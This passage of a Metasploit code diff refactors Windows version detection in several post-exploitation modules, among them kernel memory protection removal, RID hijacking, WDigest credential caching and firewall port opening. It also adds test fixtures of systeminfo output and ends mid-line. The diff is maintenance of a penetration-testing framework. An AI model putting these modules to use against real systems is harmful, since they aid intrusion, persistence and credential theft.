b/modules/post/windows/manage/dell_memory_protect.rb @@ -62,39 +62,38 @@ def initialize(info = {}) end def get_eproc_offsets - sysinfo_value = sysinfo['OS'] - unless sysinfo_value =~ /Windows/ - print_status("Target is not Windows. Found #{sysinfo_value}") + unless session.platform == 'windows' + print_status("Target is not Windows. Found #{session.platform}") return nil end - build_num = sysinfo_value.match(/Build (\d+)/)[1].to_i - vprint_status("Windows Build Number = #{build_num}") + version = get_version_info + vprint_status("Windows Build Number = #{version.build_number}") # UniqueProcessIdOffset, ActiveProcessLinksOffset, SignatureLevelOffset offsets = { - 10240 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold - 10586 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update - 14393 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update - 15063 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update - 16299 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update - 17134 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update - 17763 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update - 18362 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update - 18363 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update - 19041 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update - 19042 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update - 19043 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update - 19044 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update - 22000 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021 + Msf::WindowsVersion::Win10_1507 => [ 0x02e8, 0x02f0, 0x06a8 ], # Gold + Msf::WindowsVersion::Win10_1511 => [ 0x02e8, 0x02f0, 0x06b0 ], # 2015 update + Msf::WindowsVersion::Win10_1607 => [ 0x02e8, 0x02f0, 0x06c8 ], # 2016 update + Msf::WindowsVersion::Win10_1703 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2017 update + Msf::WindowsVersion::Win10_1709 => [ 0x02e0, 0x02e8, 0x06c8 ], # Fall 2017 update + Msf::WindowsVersion::Win10_1803 => [ 0x02e0, 0x02e8, 0x06c8 ], # April 2018 update + Msf::WindowsVersion::Win10_1809 => [ 0x02e0, 0x02e8, 0x06c8 ], # October 2018 update + Msf::WindowsVersion::Win10_1903 => [ 0x02e8, 0x02f0, 0x06f8 ], # May 2019 update + Msf::WindowsVersion::Win10_1909 => [ 0x02e8, 0x02f0, 0x06f8 ], # November 2019 update + Msf::WindowsVersion::Win10_2004 => [ 0x0440, 0x0448, 0x0878 ], # May 2020 update + Msf::WindowsVersion::Win10_20H2 => [ 0x0440, 0x0448, 0x0878 ], # October 2020 update + Msf::WindowsVersion::Win10_21H1 => [ 0x0440, 0x0448, 0x0878 ], # May 2021 update + Msf::WindowsVersion::Win10_21H2 => [ 0x0440, 0x0448, 0x0878 ], # October 2021 update + Msf::WindowsVersion::Win11_21H2 => [ 0x0440, 0x0448, 0x0878 ] # Win 11 June/September 2021 } - unless offsets.key?(build_num) - print_status("Unknown offsets for Windows build #{build_num}") + unless offsets.key?(version.build_number) + print_status("Unknown offsets for Windows build #{version.build_number}") return nil end - return offsets[build_num] + return offsets[version.build_number] end def run @@ -104,7 +103,7 @@ def run offsets = get_eproc_offsets if offsets.nil? - fail_with(Failure::NoTarget, 'Unsupported targeted') + fail_with(Failure::NoTarget, 'Unsupported target') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 diff --git a/modules/post/windows/manage/enable_support_account.rb b/modules/post/windows/manage/enable_support_account.rb index c16b339352de2..3c29fe9d4c305 100644 --- a/modules/post/windows/manage/enable_support_account.rb +++ b/modules/post/windows/manage/enable_support_account.rb @@ -62,13 +62,13 @@ def run end end - wver = sysinfo['OS'] - if wver !~ /Windows XP|Windows .NET|Windows 2003/ - print_error("#{wver} is not supported") + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::Server2003_SP2) + print_error("#{version.product_name} is not supported") return end - print_status("Target OS is #{wver}") + print_status("Target OS is #{version.product_name}") names_key = registry_enumkeys(reg_key + '\\Names') unless names_key print_error("Couldn't access registry keys") diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 81914df17b829..7e9a588d702a9 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -43,7 +43,8 @@ def run # Due to a bug in Windows XP you need to install IPv6 # http://support.microsoft.com/kb/555744/en-us - if sysinfo['OS'] =~ (/XP/) && !check_ipv6 + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::XP_SP0, Msf::WindowsVersion::XP_SP2) && !check_ipv6 return end @@ -113,7 +114,8 @@ def check_ipv6 def fw_enable_ports print_status("Setting port #{datastore['LOCAL_PORT']} in Windows Firewall ...") - if sysinfo['OS'] =~ /Windows 7|Vista|2008|2012/ + version = get_version_info + if version.build_number >= Msf::WindowsVersion::Vista_SP0 cmd_exec('netsh', "advfirewall firewall add rule name=\"Windows Service\" dir=in protocol=TCP action=allow localport=\"#{datastore['LOCAL_PORT']}\"") else cmd_exec('netsh', "firewall set portopening protocol=TCP port=\"#{datastore['LOCAL_PORT']}\"") diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index fced2cf9ebd76..22c63ed75e03f 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -42,7 +42,8 @@ def initialize(info = {}) end def run - disable_network_wizard if sysinfo['OS'] =~ /Windows 7|Vista|2008/ + version = get_version_info + disable_network_wizard if version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win7_SP1) pbk = create_pbk(datastore['MITM'], datastore['PBK_NAME']) to = (datastore['TIMEOUT'] <= 0) ? 60 : datastore['TIMEOUT'] @@ -77,7 +78,7 @@ def disable_network_wizard def create_pbk(mim, pbk_name) pbk_dir = expand_path('%TEMP%') - pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha((rand(6..13))) << '.pbk' + pbk_file = pbk_dir << '\\' << Rex::Text.rand_text_alpha(rand(6..13)) << '.pbk' conf_conn = "[#{pbk_name}]\r\n\r\n" conf_conn += "MEDIA=rastapi\r\n" diff --git a/modules/post/windows/manage/rid_hijack.rb b/modules/post/windows/manage/rid_hijack.rb index de452c4219a01..ba23ea08eb9e7 100644 --- a/modules/post/windows/manage/rid_hijack.rb +++ b/modules/post/windows/manage/rid_hijack.rb @@ -122,8 +122,8 @@ def run end # Checks the Windows Version. - wver = sysinfo['OS'] - print_status("Target OS: #{wver}") + version = get_version_info + print_status("Target OS: #{version.product_name}") # Load the usernames from SAM Registry key names_key = registry_enumkeys(reg_key + '\\Names') diff --git a/modules/post/windows/manage/wdigest_caching.rb b/modules/post/windows/manage/wdigest_caching.rb index 9590fdfbef72b..b8f6f7466c90f 100644 --- a/modules/post/windows/manage/wdigest_caching.rb +++ b/modules/post/windows/manage/wdigest_caching.rb @@ -5,9 +5,10 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry + include Msf::Post::Windows::Version - WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest' - USE_LOGON_CREDENTIAL = 'UseLogonCredential' + WDIGEST_REG_LOCATION = 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest'.freeze + USE_LOGON_CREDENTIAL = 'UseLogonCredential'.freeze def initialize(info = {}) super( @@ -38,7 +39,8 @@ def run print_status("Running module against #{sysinfo['Computer']}") # Check if OS is 8/2012 or newer. If not, no need to set the registry key # Can be backported to Windows 7, 2k8R2 but defaults to enabled... - if sysinfo['OS'] =~ /Windows (XP|Vista|200[03])/i + version = get_version_info + if version.build_number < Msf::WindowsVersion::Win7_SP0 print_status('Older Windows version detected. No need to enable the WDigest Security Provider. Exiting...') else datastore['ENABLE'] ? wdigest_enable : wdigest_disable diff --git a/modules/post/windows/recon/outbound_ports.rb b/modules/post/windows/recon/outbound_ports.rb index fa06ab418d461..5afcb7eb4e670 100644 --- a/modules/post/windows/recon/outbound_ports.rb +++ b/modules/post/windows/recon/outbound_ports.rb @@ -161,8 +161,9 @@ def run return end - if sysinfo['OS'] =~ /XP/ - print_error('Windows XP is not supported') + version = get_version_info + if version.xp_or_2003? + print_error('Windows XP/Server 2003 is not supported') return end diff --git a/spec/lib/msf/core/post/windows/task_scheduler_spec.rb b/spec/lib/msf/core/post/windows/task_scheduler_spec.rb index 578f9dba0ba5a..eb3e87ed1d1f3 100644 --- a/spec/lib/msf/core/post/windows/task_scheduler_spec.rb +++ b/spec/lib/msf/core/post/windows/task_scheduler_spec.rb @@ -1,7 +1,6 @@ require 'spec_helper' RSpec.describe Msf::Post::Windows::TaskScheduler do - let(:task_name) { Rex::Text.rand_text_alpha(rand(8)) } let(:datastore) do { @@ -145,14 +144,13 @@ def create_exploit(info = {}) context 'on older Windows' do it 'executes the expected command to query a task' do subject.instance_variable_set(:@old_os, true) - cmd = "schtasks /query /v /fo csv" + cmd = 'schtasks /query /v /fo csv' expect(subject).to receive(:schtasks_exec).with(cmd, with_result: true) subject.task_query(task_name) end end end - # # Private methods # @@ -160,7 +158,7 @@ def create_exploit(info = {}) describe '#check_compatibility' do context 'with Windows XP SP2' do before :example do - allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows XP (5.1 Build 2600, Service Pack 2)." } ) + allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(5, 1, 2600, 2, Msf::WindowsVersion::VER_NT_WORKSTATION)) end it 'sets `@old_schtasks` and `@old_os` to true' do subject.send(:check_compatibility) @@ -171,7 +169,7 @@ def create_exploit(info = {}) context 'with Windows Server 2003 SP2' do before :example do - allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows .NET Server (5.2 Build 3790, Service Pack 2)." } ) + allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(5, 2, 3790, 2, Msf::WindowsVersion::VER_NT_SERVER)) end it 'sets `@old_schtasks` to false and `@old_os` to true' do subject.send(:check_compatibility) @@ -182,7 +180,7 @@ def create_exploit(info = {}) context 'with Windows Server 2016' do before :example do - allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows 2016+ (10.0 Build 14393)." } ) + allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(10, 0, 14393, 0, Msf::WindowsVersion::VER_NT_SERVER)) end it 'sets `@old_schtasks` and `@old_os` to false' do subject.send(:check_compatibility) @@ -195,7 +193,7 @@ def create_exploit(info = {}) describe '#log_and_print' do let(:msg) { double('log message') } before :example do - mock_methods = [ :vprint_status, :vprint_good, :vprint_error, :dlog, :ilog, :wlog, :elog ] + mock_methods = %i[vprint_status vprint_good vprint_error dlog ilog wlog elog] mock_methods.each { |meth| allow(subject).to receive(meth) } end @@ -249,7 +247,7 @@ def create_exploit(info = {}) it 'returns the expected command string' do cmd_in = %w[/test /flag1 value1] cmd_out = "schtasks #{cmd_in.join(' ')}" - expect(subject.send(:get_schtasks_cmd_string, cmd_in)). to eq(cmd_out) + expect(subject.send(:get_schtasks_cmd_string, cmd_in)).to eq(cmd_out) end end @@ -264,7 +262,7 @@ def create_exploit(info = {}) it 'returns the expected command string' do cmd_in = %w[/test /flag1 value1] cmd_out = "schtasks #{cmd_in.join(' ')} /s 1.2.3.4 /u msfuser /p msfpasswd" - expect(subject.send(:get_schtasks_cmd_string, cmd_in)). to eq(cmd_out) + expect(subject.send(:get_schtasks_cmd_string, cmd_in)).to eq(cmd_out) end end @@ -279,12 +277,11 @@ def create_exploit(info = {}) it 'returns the expected command string' do cmd_in = %w[/test /flag1 value1] cmd_out = "schtasks #{cmd_in.join(' ')} /s 1.2.3.4 /u msfuser /p msfpasswd" - expect(subject.send(:get_schtasks_cmd_string, cmd_in, opts)). to eq(cmd_out) + expect(subject.send(:get_schtasks_cmd_string, cmd_in, opts)).to eq(cmd_out) end end end - describe '#schtasks_exec' do let(:result) { [ Rex::Text.rand_text_alpha(rand(8)), true ] } let(:cmd) { double('Command') } @@ -371,7 +368,7 @@ def create_exploit(info = {}) describe '#task_info_field' do let(:task_name) { 'fzuZbSwfXc' } - let(:task_info) { + let(:task_info) do info = '"HostName","TaskName","Next Run Time","Status","Logon Mode","Last Run Time","Last Result","Author",'\ '"Task To Run","Start In","Comment","Scheduled Task State","Idle Time","Power Management","Run As User",'\ '"Delete Task If Not Rescheduled","Stop Task If Runs X Hours and X Mins","Schedule","Schedule Type",'\ @@ -384,7 +381,7 @@ def create_exploit(info = {}) 'Batteries","SYSTEM","Disabled","72:00:00","Scheduling data is not available in this format.","One Time '\ 'Only","12:00:00 AM","5/10/2020","N/A","N/A","N/A","Disabled","Disabled","Disabled","Disabled"' info - } + end let(:key) { 'Task To Run' } let(:result) { 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\DGvtFiFtnZQVmtY" /v "SD"' } @@ -566,7 +563,7 @@ def create_exploit(info = {}) context 'when the `ScheduleRemoteSystem` datastore option is set' do before :example do - datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } ) + datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' }) end it 'executes the expected command' do @@ -581,7 +578,7 @@ def create_exploit(info = {}) context 'when the `:remote_system` hash option is passed as argument' do it 'executes the expected command' do expect(subject).to receive(:run_one_off_task).with(cmd, check_success: true) - subject.send(:reg_key_value_exists?, reg_key, reg_value, {remote_system: '1.2.3.4'}) + subject.send(:reg_key_value_exists?, reg_key, reg_value, { remote_system: '1.2.3.4' }) end end end @@ -645,7 +642,7 @@ def create_exploit(info = {}) context 'when the `ScheduleRemoteSystem` datastore option is set' do it 'executes the expected command' do - datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } ) + datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' }) expect(subject).to receive(:run_one_off_task).with(cmd) subject.send(:delete_reg_key_value, reg_key, reg_value) end @@ -654,7 +651,7 @@ def create_exploit(info = {}) context 'when the `:remote_system` hash option is passed as argument' do it 'executes the expected command' do expect(subject).to receive(:run_one_off_task).with(cmd) - subject.send(:delete_reg_key_value, reg_key, reg_value, {remote_system: '1.2.3.4'}) + subject.send(:delete_reg_key_value, reg_key, reg_value, { remote_system: '1.2.3.4' }) end end end @@ -697,14 +694,14 @@ def create_exploit(info = {}) context 'when the :override option is set to false' do it 'does not override it' do expect(subject).to_not receive(:cmd_exec_with_result) - subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {override: false}) + subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { override: false }) end end context 'when the :override option is set to true' do it 'overrides it' do expect(subject).to receive(:cmd_exec_with_result).and_return(['', true]) - subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {override: true}) + subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { override: true }) end end end @@ -738,7 +735,7 @@ def create_exploit(info = {}) context 'when the `ScheduleRemoteSystem` datastore option is set' do it 'executes the expected command' do - datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } ) + datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' }) expect(subject).to receive(:run_one_off_task).with(cmd) subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type) end @@ -747,10 +744,9 @@ def create_exploit(info = {}) context 'when the `:remote_system` hash option is passed as argument' do it 'executes the expected command' do expect(subject).to receive(:run_one_off_task).with(cmd) - subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {remote_system: '1.2.3.4'}) + subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { remote_system: '1.2.3.4' }) end end end end end - diff --git a/spec/lib/msf/core/post/windows/version_spec.rb b/spec/lib/msf/core/post/windows/version_spec.rb new file mode 100644 index 0000000000000..817828a01dd12 --- /dev/null +++ b/spec/lib/msf/core/post/windows/version_spec.rb @@ -0,0 +1,415 @@ +# -*- coding: binary -*- +require 'spec_helper' + + +RSpec.describe Msf::Post::Windows::Version do + + subject do + context_described_class = described_class + + klass = Class.new(Msf::Post) do + include context_described_class + end + + klass.new + end + + let(:xp_sp2_systeminfo) do + 'Host Name: SMASH-72A287D2F +OS Name: Microsoft Windows XP Professional +OS Version: 5.1.2600 Service Pack 2 Build 2600 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Workstation +OS Build Type: Uniprocessor Free +Registered Owner: smash +Registered Organization: +Product ID: 76487-011-3892913-22389 +Original Install Date: 12/6/2022, 2:27:30 PM +System Up Time: 0 Days, 0 Hours, 51 Minutes, 12 Seconds +System Manufacturer: VMware, Inc. +System Model: VMware Virtual Platform +System type: X86-based PC +Processor(s): 1 Processor(s) Installed. + [01]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2208 Mhz +BIOS Version: INTEL - 6040000 +Windows Directory: C:\WINDOWS +System Directory: C:\WINDOWS\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney +Total Physical Memory: 511 MB +Available Physical Memory: 338 MB +Virtual Memory: Max Size: 2,048 MB +Virtual Memory: Available: 2,006 MB +Virtual Memory: In Use: 42 MB +Page File Location(s): C:\pagefile.sys +Domain: WORKGROUP +Logon Server: \\\\SMASH-72A287D2F +Hotfix(s): 3 Hotfix(s) Installed. + [01]: File 1 + [02]: Q147222 + [03]: KB911164 - Update +NetWork Card(s): 1 NIC(s) Installed. + [01]: VMware Accelerated AMD PCNet Adapter + Connection Name: Local Area Connection + DHCP Enabled: Yes + DHCP Server: 192.168.73.254 + IP address(es) + [01]: 192.168.73.147' + end + + let(:server2003_sp1_systeminfo) do + 'Host Name: SMASH-P7NPUUMTB +OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition +OS Version: 5.2.3790 Service Pack 1 Build 3790 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Server +OS Build Type: Uniprocessor Free +Registered Owner: smash +Registered Organization: +Product ID: 69712-012-0000545-42062 +Original Install Date: 12/7/2022, 12:43:01 PM +System Up Time: N/A +System Manufacturer: VMware, Inc. +System Model: VMware Virtual Platform +System Type: X86-based PC +Processor(s): 1 Processor(s) Installed. + [01]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2207 Mhz +BIOS Version: INTEL - 6040000 +Windows Directory: C:\WINDOWS +System Directory: C:\WINDOWS\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney +Total Physical Memory: 383 MB +Available Physical Memory: 229 MB +Page File: Max Size: 932 MB +Page File: Available: 799 MB +Page File: In Use: 133 MB +Page File Location(s): C:\pagefile.sys +Domain: WORKGROUP +Logon Server: \\\\SMASH-P7NPUUMTB +Hotfix(s): 1 Hotfix(s) Installed. + [01]: Q147222 +Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Local Area Connection + DHCP Enabled: Yes + DHCP Server: 192.168.73.254 + IP address(es) + [01]: 192.168.73.148' + end + + let(:server2008_sp2_systeminfo) do + 'Host Name: WIN2008DC +OS Name: Microsoftr Windows Serverr 2008 Standard +OS Version: 6.0.6002 Service Pack 2 Build 6002 +OS Manufacturer: Microsoft Corporation +OS Configuration: Primary Domain Controller +OS Build Type: Multiprocessor Free +Registered Owner: Windows User +Registered Organization: +Product ID: 92573-082-2500115-76258 +Original Install Date: 7/7/2022, 9:49:59 AM +System Boot Time: 11/29/2022, 9:44:06 AM +System Manufacturer: QEMU +System Model: Standard PC (i440FX + PIIX, 1996) +System Type: x64-based PC +Processor(s): 1 Processor(s) Installed. + [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz +BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 4/1/2014 +Windows Directory: C:\Windows +System Directory: C:\Windows\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney +Total Physical Memory: 4,095 MB +Available Physical Memory: 2,833 MB +Page File: Max Size: 8,363 MB +Page File: Available: 7,083 MB +Page File: In Use: 1,280 MB +Page File Location(s): C:\pagefile.sys +Domain: pod7.local +Logon Server: \\WIN2008DC +Hotfix(s): 1 Hotfix(s) Installed. + [01]: KB955430 +Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Local Area Connection + DHCP Enabled: Yes + DHCP Server: 192.168.20.1 + IP address(es) + [01]: 192.168.20.99 + [02]: fe80::4d31:5b50:425a:4df0' + end + + let(:win10_systeminfo) do + 'Host Name: WIN10BASE +OS Name: Microsoft Windows 10 Pro +OS Version: 10.0.19045 N/A Build 19045 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Workstation +OS Build Type: Multiprocessor Free +Registered Owner: smash +Registered Organization: +Product ID: 00331-20300-00000-AA252 +Original Install Date: 10/05/2021, 5:43:57 PM +System Boot Time: 2/12/2022, 5:02:02 PM +System Manufacturer: QEMU +System Model: Standard PC (i440FX + PIIX, 1996) +System Type: x64-based PC +Processor(s): 2 Processor(s) Installed. + [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz + [02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz +BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 1/04/2014 +Windows Directory: C:\WINDOWS +System Directory: C:\WINDOWS\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (UTC+10:00) Canberra, Melbourne, Sydney +Total Physical Memory: 10,239 MB +Available Physical Memory: 5,545 MB +Virtual Memory: Max Size: 11,839 MB +Virtual Memory: Available: 6,416 MB +Virtual Memory: In Use: 5,423 MB +Page File Location(s): C:\pagefile.sys +Domain: WORKGROUP +Logon Server: \\\\WIN10BASE +Hotfix(s): 17 Hotfix(s) Installed. + [01]: KB5020613 + [02]: KB4562830 + [03]: KB4577586 + [04]: KB4580325 + [05]: KB5000736 + [06]: KB5012170 + [07]: KB5015684 + [08]: KB5019959 + [09]: KB5011352 + [10]: KB5011651 + [11]: KB5014032 + [12]: KB5014035 + [13]: KB5014671 + [14]: KB5015895 + [15]: KB5016705 + [16]: KB5018506 + [17]: KB5005699 +Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Ethernet + DHCP Enabled: Yes + DHCP Server: 192.168.20.1 + IP address(es) + [01]: 192.168.20.230 + [02]: fe80::47ee:641f:d05d:34f6 +Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.' + end + + let(:server2022_systeminfo) do + 'Host Name: twenty22 +OS Name: Microsoft Windows Server 2022 Datacenter Azure Edition +OS Version: 10.0.20348 N/A Build 20348 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Server +OS Build Type: Multiprocessor Free +Registered Owner: N/A +Registered Organization: N/A +Product ID: 00446-90000-00000-AA477 +Original Install Date: 12/2/2022, 5:01:55 AM +System Boot Time: 12/2/2022, 5:02:20 AM +System Manufacturer: Microsoft Corporation +System Model: Virtual Machine +System Type: x64-based PC +Processor(s): 1 Processor(s) Installed. + [01]: Intel64 Family 6 Model 85 Stepping 4 GenuineIntel ~2095 Mhz +BIOS Version: Microsoft Corporation Hyper-V UEFI Release v4.1, 5/10/2022 +Windows Directory: C:\Windows +System Directory: C:\Windows\system32 +Boot Device: \Device\HarddiskVolume3 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (UTC) Coordinated Universal Time +Total Physical Memory: 4,095 MB +Available Physical Memory: 1,753 MB +Virtual Memory: Max Size: 5,119 MB +Virtual Memory: Available: 2,794 MB +Virtual Memory: In Use: 2,325 MB +Page File Location(s): D:\pagefile.sys +Domain: WORKGROUP +Logon Server: \\\\twenty22 +Hotfix(s): 4 Hotfix(s) Installed. + [01]: KB5020619 + [02]: KB5012170 + [03]: KB5019081 + [04]: KB5017399 +Network Card(s): 1 NIC(s) Installed. + [01]: Microsoft Hyper-V Network Adapter + Connection Name: Ethernet + DHCP Enabled: Yes + DHCP Server: 168.63.129.16 + IP address(es) + [01]: 10.1.0.4 + [02]: fe80::9232:386b:229f:402f +Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.' + end + + let(:server2012_systeminfo) do + 'Host Name: WIN2012DC +OS Name: Microsoft Windows Server 2012 Standard +OS Version: 6.2.9200 N/A Build 9200 +OS Manufacturer: Microsoft Corporation +OS Configuration: Primary Domain Controller +OS Build Type: Multiprocessor Free +Registered Owner: Windows User +Registered Organization: +Product ID: 00184-30000-00001-AA641 +Original Install Date: 8/09/2021, 3:22:39 AM +System Boot Time: 27/10/2022, 1:09:24 PM +System Manufacturer: QEMU +System Model: Standard PC (i440FX + PIIX, 1996) +System Type: x64-based PC +Processor(s): 2 Processor(s) Installed. + [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz + [02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz +BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 1/04/2014 +Windows Directory: C:\Windows +System Directory: C:\Windows\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-au;English (Australia) +Input Locale: en-us;English (United States) +Time Zone: (UTC+10:00) Canberra, Melbourne, Sydney +Total Physical Memory: 5,095 MB +Available Physical Memory: 2,811 MB +Virtual Memory: Max Size: 5,927 MB +Virtual Memory: Available: 3,460 MB +Virtual Memory: In Use: 2,467 MB +Page File Location(s): C:\pagefile.sys +Domain: pod8.lan +Logon Server: \\\\WIN2012DC +Hotfix(s): 1 Hotfix(s) Installed. + [01]: KB2999226 +Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Ethernet + DHCP Enabled: Yes + DHCP Server: 192.168.20.1 + IP address(es) + [01]: 192.168.20.210 + [02]: fe80::3d4f:28f8:dff2:5b29 +Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.' + end + + let(:server2008r2_sp1_systeminfo) do + 'Host Name: WIN-QL13MCNSIB2 +OS Name: Microsoft Windows Server 2008 R2 Standard +OS Version: 6.1.7601 Service Pack 1 Build 7601 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Server +OS Build Type: Multiprocessor Free +Registered Owner: Windows User +Registered Organization: +Product ID: 00477-179-0000007-84039 +Original Install Date: 12/6/2022, 4:07:05 AM +System Boot Time: 12/5/2022, 8:23:53 PM +System Manufacturer: QEMU +System Model: Standard PC (i440FX + PIIX, 1996) +System Type: x64-based PC +Processor(s): 2 Processor(s) Installed. + [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz + [02]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~3392 Mhz +BIOS Version: SeaBIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org, 4/1/2014 +Windows Directory: C:\Windows +System Directory: C:\Windows\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (UTC-08:00) Pacific Time (US & Canada) +Total Physical Memory: 2,047 MB +Available Physical Memory: 1,310 MB +Virtual Memory: Max Size: 4,095 MB +Virtual Memory: Available: 3,197 MB +Virtual Memory: In Use: 898 MB +Page File Location(s): C:\pagefile.sys +Domain: WORKGROUP +Logon Server: \\\\WIN-QL13MCNSIB2 +Hotfix(s): 1 Hotfix(s) Installed. + [01]: KB976902 +Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Local Area Connection + DHCP Enabled: Yes + DHCP Server: 192.168.20.1 + IP address(es) + [01]: 192.168.20.130 + [02]: fe80::1469:cb66:dc1d:78bc' + end + + context "#systeminfo_parsed" do + it "parses systeminfo on XP" do + allow(subject).to receive(:cmd_exec) { xp_sp2_systeminfo } + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::XP_SP2) + expect(version.windows_server?).to eq(false) + expect(version.domain_controller?).to eq(false) + end + + it "parses systeminfo on 2003" do + allow(subject).to receive(:cmd_exec) { server2003_sp1_systeminfo } + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Server2003_SP1) + expect(version.windows_server?).to eq(true) + expect(version.domain_controller?).to eq(false) + end + + it "parses systeminfo on Win10" do + allow(subject).to receive(:cmd_exec) { win10_systeminfo } + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Win10_22H2) + expect(version.windows_server?).to eq(false) + expect(version.domain_controller?).to eq(false) + end + + it "parses systeminfo on 2022" do + allow(subject).to receive(:cmd_exec) { server2022_systeminfo } + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Server2022) + expect(version.windows_server?).to eq(true) + expect(version.domain_controller?).to eq(false) + end + + it "parses systeminfo on 2012" do + allow(subject).to receive(:cmd_exec) { server2012_systeminfo } + allow(subject).to 